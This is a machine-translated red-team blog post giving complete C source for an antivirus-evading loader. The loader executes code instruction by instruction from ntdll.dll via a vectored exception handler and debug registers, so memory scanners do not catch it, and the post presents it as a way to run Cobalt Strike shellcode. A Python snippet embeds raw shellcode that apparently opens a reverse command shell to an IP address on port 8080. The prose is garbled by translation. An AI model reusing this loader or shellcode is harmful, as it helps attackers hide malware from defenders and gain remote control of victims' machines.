Close to the whole country hw, there will be a series of training articles on the free killing of the red team in the future. I hope you can avoid it indiscriminately on the field and will not release the ready-made loader, but the example is a good loader. Once again, free killing is not a unique talent of a technology, but a hundred flowers bloom!
preface:
Here, we will implement the kill free loader of CS as usual, because it is very convenient to use the existing c2 framework. Of course, the c2 framework developed by yourself is also OK. It must also have the function of generating shellcode, and it also needs memory execution.
Today's principle is based on ntdll DLL first instructions to execute our code. The malicious code is stored in the data part. The advantage of this technology is that we bypass the non executable memory protection and static code analysis. This technology is a little pwn using the chain. All pwn who have played know that when we go to rop to construct the chain, we find the original assembly code of the file and use it through the address, We want to achieve the effect of combined utilization. The advantage is that the addresses of all instructions we run in memory are scattered, which has the effect of resisting killing soft memory scanning, because this method has deviated from the traditional allocation of executable memory space, and then put shellcode into execution. There is no executable allocated memory area for scanning, The killing free effect is very good.
Principle and preparation:
Required windows api
1. Rtladdvectorexception handler this is used to add a custom exception handler
Workflow:
1. Create a data structure containing all the assembly instructions we want to execute.
-
In ntdll The address of each DLL in the above instruction segment is searched and stored.
-
Add a custom exception handler to our program using rtladdvectorexception handler
-
Trigger breakpoint with int 3
-
The program has now entered our custom exception handler to store the original thread context for later use
-
Set the EIP register to the first target instruction in the list (in ntdll.dll)
-
If the current instruction is "call", set the hardware breakpoint directly on the instruction using Dr0 debug register after the call - we want to "skip" the call. Otherwise, use EFlags |= 0x100 to set the single step flag to interrupt the next instruction
-
Update the value of any other registers required by the current instruction
-
Use EXCEPTION_CONTINUE_EXECUTION continues. The next instruction will throw another exception, and we will go back to step 6 to continue until all instructions run in sequence.
-
After all target instructions are executed, restore the original thread context from step 5 to continue the original process of the program.
In short, add a custom exception handler to our program through rtladdvectorexception handler, then save the context, and then execute it through the assembly instruction address found. After execution, the exception handler will be raised to execute other instructions. After all instructions are executed, the saved state will be restored directly, The assembly instructions we want to execute are stored in the structure.
Reference code (the following structure holds the assembly code example of the bullet box):
InstructionEntryStruct Global_InstructionList[] = { // Allocate 1kb buffer for message box header using GlobalAlloc { "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX }, { "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX }, { "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL }, // Set the pop-up Titie "gamma lab" { "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, // Store the message box title ptr in the edi register { "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 }, //Allocate 1kb buffer for message box text using GlobalAlloc { "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX }, { "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX }, { "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL }, // Set the text content of the message box to "gamma labredteam" { "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, // Call MessageBoxA { "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX }, { "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX }, { "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL }, };
You can see that the structure header is defined as follows:
struct InstructionEntryStruct { char *pLabel; BYTE bInstruction[16]; DWORD dwInstructionLength; DWORD dwInstructionAddr; DWORD dwEax; DWORD dwEbx; DWORD dwEcx; DWORD dwEdx; DWORD dwEdi; DWORD dwEsi; DWORD dwInstructionFlags; };
pLabel: this field is only used for recording / debugging purposes. You can see which instruction is wrong at that time
bInstruction: this field contains the opcode of the assembly instruction, such as 0x50 of push eax
dwInstructionLength: the length of the bInstruction field
dwInstructionAddr: this field is populated by the program - scan ntdll DLL to find the address of the matching instruction
dwEax / dwEbx / dwEcx / dwEdx / dwEdi / dwEsi these fields set the specified register value before the current instruction is executed.
dwInstructionFlags: this field specifies which register values should be updated. It is also used to specify whether the current instruction is called.
But from ntdll There are limitations in finding the code we want in DLL memory. For example, some special data cannot be found in the existing memory. At this time, it is necessary to operate the register and change the value of the register in the exception handler before executing the instruction.
Actual code example:
shellcode example code of bullet box:
#include <stdio.h> #include <windows.h> #define FLAG_EAX 0x00000001 #define FLAG_EBX 0x00000002 #define FLAG_ECX 0x00000004 #define FLAG_EDX 0x00000008 #define FLAG_EDI 0x00000010 #define FLAG_ESI 0x00000020 #define FLAG_CALL 0x00000040 struct InstructionEntryStruct { const char* pLabel; BYTE bInstruction[16]; DWORD dwInstructionLength; DWORD dwInstructionAddr; DWORD dwEax; DWORD dwEbx; DWORD dwEcx; DWORD dwEdx; DWORD dwEdi; DWORD dwEsi; DWORD dwInstructionFlags; }; DWORD dwGlobal_CurrInstruction = 0; CONTEXT Global_OrigContext; InstructionEntryStruct Global_InstructionList[] = { // Allocate 1kb buffer for message box header using GlobalAlloc { "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX }, { "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX }, { "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL }, // Set the pop-up Titie "gamma lab" { "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, // Store the message box title ptr in the edi register { "mov edi, eax", { 0x8B, 0xF8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 }, //Allocate 1kb buffer for message box text using GlobalAlloc { "push ecx", { 0x51 }, 1, 0, 0, 0, 1024, 0, 0, 0, FLAG_ECX }, { "push ecx", { 0x51 }, 1, 0, 0, 0, GMEM_FIXED, 0, 0, 0, FLAG_ECX }, { "call eax ; (GlobalAlloc)", { 0xFF, 0xD0 }, 2, 0, (DWORD)GlobalAlloc, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL }, // Set the text content of the message box to "gamma labredteam" { "mov ebx, eax", { 0x8B, 0xD8 }, 2, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'g' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'g', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'l' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'l', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'b' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'r' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'r', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'd' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'b', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 't' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 't', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'e' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'e', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'a' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'a', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; character: 'm' ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, 'm', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "mov byte ptr [ebx], dl ; (null) ", { 0x88, 0x13 }, 2, 0, 0, 0, 0, '\0', 0, 0, FLAG_EDX }, { "inc ebx", { 0x43 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, // Call MessageBoxA { "push ecx", { 0x51 }, 1, 0, 0, 0, MB_OK, 0, 0, 0, FLAG_ECX }, { "push edi", { 0x57 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "push eax", { 0x50 }, 1, 0, 0, 0, 0, 0, 0, 0, 0 }, { "push ecx", { 0x51 }, 1, 0, 0, 0, 0, 0, 0, 0, FLAG_ECX }, { "call eax ; (MessageBoxA)", { 0xFF, 0xD0 }, 2, 0, (DWORD)MessageBoxA, 0, 0, 0, 0, 0, FLAG_EAX | FLAG_CALL }, }; LONG WINAPI ExceptionHandler(EXCEPTION_POINTERS* pExceptionInfo) { InstructionEntryStruct* pCurrInstruction = NULL; // Make sure this is a breakpoint / step exception if (pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_BREAKPOINT && pExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) { // This is not the exception we expected, so pass this exception to the next handler return EXCEPTION_CONTINUE_SEARCH; } // Reset hardware breakpoints pExceptionInfo->ContextRecord->Dr0 = 0; pExceptionInfo->ContextRecord->Dr7 = 0; if (dwGlobal_CurrInstruction == 0) { // Store original context memcpy((void*)&Global_OrigContext, (void*)pExceptionInfo->ContextRecord, sizeof(CONTEXT)); } else if (dwGlobal_CurrInstruction >= (sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]))) { // Complete execution of all instructions - restore original context memcpy((void*)pExceptionInfo->ContextRecord, (void*)&Global_OrigContext, sizeof(CONTEXT)); // Move to the next instruction (after int3) pExceptionInfo->ContextRecord->Eip++; // Continue execution return EXCEPTION_CONTINUE_EXECUTION; } // Get current instruction entry pCurrInstruction = &Global_InstructionList[dwGlobal_CurrInstruction]; // Set instruction ptr to the next instruction pExceptionInfo->ContextRecord->Eip = pCurrInstruction->dwInstructionAddr; // Check registration mark if (pCurrInstruction->dwInstructionFlags & FLAG_EAX) { //Set eax printf("<InternalExHandler> mov eax, 0x%x\n", pCurrInstruction->dwEax); pExceptionInfo->ContextRecord->Eax = pCurrInstruction->dwEax; } else if (pCurrInstruction->dwInstructionFlags & FLAG_EBX) { // Set ebx printf("<InternalExHandler> mov ebx, 0x%x\n", pCurrInstruction->dwEbx); pExceptionInfo->ContextRecord->Ebx = pCurrInstruction->dwEbx; } else if (pCurrInstruction->dwInstructionFlags & FLAG_ECX) { // Set ecx printf("<InternalExHandler> mov ecx, 0x%x\n", pCurrInstruction->dwEcx); pExceptionInfo->ContextRecord->Ecx = pCurrInstruction->dwEcx; } else if (pCurrInstruction->dwInstructionFlags & FLAG_EDX) { // Set edx printf("<InternalExHandler> mov edx, 0x%x\n", pCurrInstruction->dwEdx); pExceptionInfo->ContextRecord->Edx = pCurrInstruction->dwEdx; } else if (pCurrInstruction->dwInstructionFlags & FLAG_EDI) { // Set edi printf("<InternalExHandler> mov edi, 0x%x\n", pCurrInstruction->dwEdi); pExceptionInfo->ContextRecord->Edi = pCurrInstruction->dwEdi; } else if (pCurrInstruction->dwInstructionFlags & FLAG_ESI) { // Set esi printf("<InternalExHandler> mov esi, 0x%x\n", pCurrInstruction->dwEsi); pExceptionInfo->ContextRecord->Esi = pCurrInstruction->dwEsi; } // Print current command label printf("<ntdll: 0x%08X> %s\n", pCurrInstruction->dwInstructionAddr, pCurrInstruction->pLabel); // Check if this is a "call" instruction if (pCurrInstruction->dwInstructionFlags & FLAG_CALL) { // Set the "breakpoint" on the first instruction after the hardware call pExceptionInfo->ContextRecord->Dr0 = pCurrInstruction->dwInstructionAddr + pCurrInstruction->dwInstructionLength; pExceptionInfo->ContextRecord->Dr7 = 1; } else { // One small step pExceptionInfo->ContextRecord->EFlags |= 0x100; } //Move to next instruction dwGlobal_CurrInstruction++; //Continue execution return EXCEPTION_CONTINUE_EXECUTION; } DWORD GetModuleCodeSection(DWORD dwModuleBase, DWORD* pdwCodeSectionStart, DWORD* pdwCodeSectionLength) { IMAGE_DOS_HEADER* pDosHeader = NULL; IMAGE_NT_HEADERS* pNtHeader = NULL; IMAGE_SECTION_HEADER* pCurrSectionHeader = NULL; char szCurrSectionName[16]; DWORD dwFound = 0; DWORD dwCodeSectionStart = 0; DWORD dwCodeSectionLength = 0; // Get dos header ptr (module start) pDosHeader = (IMAGE_DOS_HEADER*)dwModuleBase; if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return 1; } // Get nt header pointer pNtHeader = (IMAGE_NT_HEADERS*)((BYTE*)pDosHeader + pDosHeader->e_lfanew); if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) { return 1; } // Loop through all parts for (DWORD i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) { // Get current section title pCurrSectionHeader = (IMAGE_SECTION_HEADER*)((BYTE*)pNtHeader + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Pcurrsectionheader - > if all 8 characters are used, the name does not end with null - copy it to a larger local buffer memset(szCurrSectionName, 0, sizeof(szCurrSectionName)); memcpy(szCurrSectionName, pCurrSectionHeader->Name, sizeof(pCurrSectionHeader->Name)); // Check if this is the main code part if (strcmp(szCurrSectionName, ".text") == 0) { // Code snippet found dwFound = 1; dwCodeSectionStart = dwModuleBase + pCurrSectionHeader->VirtualAddress; dwCodeSectionLength = pCurrSectionHeader->SizeOfRawData; break; } } // Make sure you find the code section if (dwFound == 0) { return 1; } // Stored value *pdwCodeSectionStart = dwCodeSectionStart; *pdwCodeSectionLength = dwCodeSectionLength; return 0; } DWORD ScanForInstructions() { DWORD dwInstructionCount = 0; DWORD dwCurrSearchPos = 0; DWORD dwBytesRemaining = 0; DWORD dwFoundAddr = 0; DWORD dwCodeSectionStart = 0; DWORD dwCodeSectionLength = 0; // Count instructions dwInstructionCount = sizeof(Global_InstructionList) / sizeof(Global_InstructionList[0]); // Find ntdll snippet range if (GetModuleCodeSection((DWORD)GetModuleHandle("ntdll.dll"), &dwCodeSectionStart, &dwCodeSectionLength) != 0) { printf("1111"); return 1; } // Scan instruction for (DWORD i = 0; i < dwInstructionCount; i++) { // Check whether the address of the instruction has been found if (Global_InstructionList[i].dwInstructionAddr != 0) { continue; } // Find this instruction in the ntdll code section dwCurrSearchPos = dwCodeSectionStart; dwBytesRemaining = dwCodeSectionLength; dwFoundAddr = 0; for (;;) { // Check that the end of the code snippet has been reached if (Global_InstructionList[i].dwInstructionLength > dwBytesRemaining) { break; } // Check if the instruction exists here if (memcmp((void*)dwCurrSearchPos, (void*)Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0) { dwFoundAddr = dwCurrSearchPos; break; } // Update search index dwCurrSearchPos++; dwBytesRemaining--; } // Make sure the opcode is found if (dwFoundAddr == 0) { printf("Error: Instruction not found in ntdll: '%s'\n", Global_InstructionList[i].pLabel); return 1; } // store address Global_InstructionList[i].dwInstructionAddr = dwFoundAddr; // Copy this instruction address to any other matching instruction in the list for (DWORD ii = 0; ii < dwInstructionCount; ii++) { // Check whether the instruction length matches if (Global_InstructionList[ii].dwInstructionLength == Global_InstructionList[i].dwInstructionLength) { // Check whether the instruction opcodes match if (memcmp(Global_InstructionList[ii].bInstruction, Global_InstructionList[i].bInstruction, Global_InstructionList[i].dwInstructionLength) == 0) { // Copy instruction address Global_InstructionList[ii].dwInstructionAddr = Global_InstructionList[i].dwInstructionAddr; } } } } return 0; } int main() { PVOID(WINAPI * RtlAddVectoredExceptionHandler)(DWORD dwFirstHandler, void* pExceptionHandler); DWORD dwThreadID = 0; HANDLE hThread = NULL; // Get rtladdvectorexception handler function ptr RtlAddVectoredExceptionHandler = (void* (__stdcall*)(unsigned long, void*))GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAddVectoredExceptionHandler"); if (RtlAddVectoredExceptionHandler == NULL) { return 1; } // Add exception handler if (RtlAddVectoredExceptionHandler(1, (void*)ExceptionHandler) == NULL) { return 1; } // Scan ntdll fill instruction list if (ScanForInstructions() != 0) { return 1; } //The breakpoint that triggers the exception handler _asm int 3 return 0; }
Effect display:
[the external chain image transfer fails, and the source station may have an anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-toeprsc8-1646461310426) (C: \ users \ administrator \ appdata \ roaming \ typora \ typora user images \ image-20220304000408978. PNG)]
By analogy, we convert cs shellcode into assembly, and then put it into the structure, so we can go online.
I will not put the code of my actual kill free loader here. It is very simple. Just convert the shellcode into assembly code and fill it in
To convert shellcode into assembly code, you can refer to the following python code and use capstone Library:
from capstone import * shellcode = "" shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" shellcode += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" shellcode += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\x80\x68" shellcode += "\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5" shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec" shellcode += "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89" shellcode += "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66" shellcode += "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44" shellcode += "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68" shellcode += "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30" shellcode += "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68" shellcode += "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0" shellcode += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" md = Cs(CS_ARCH_X86, CS_MODE_32) for i in md.disasm(shellcode, 0x00): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
More fun red team tools, skills, please pay attention to the official account Gamma laboratory.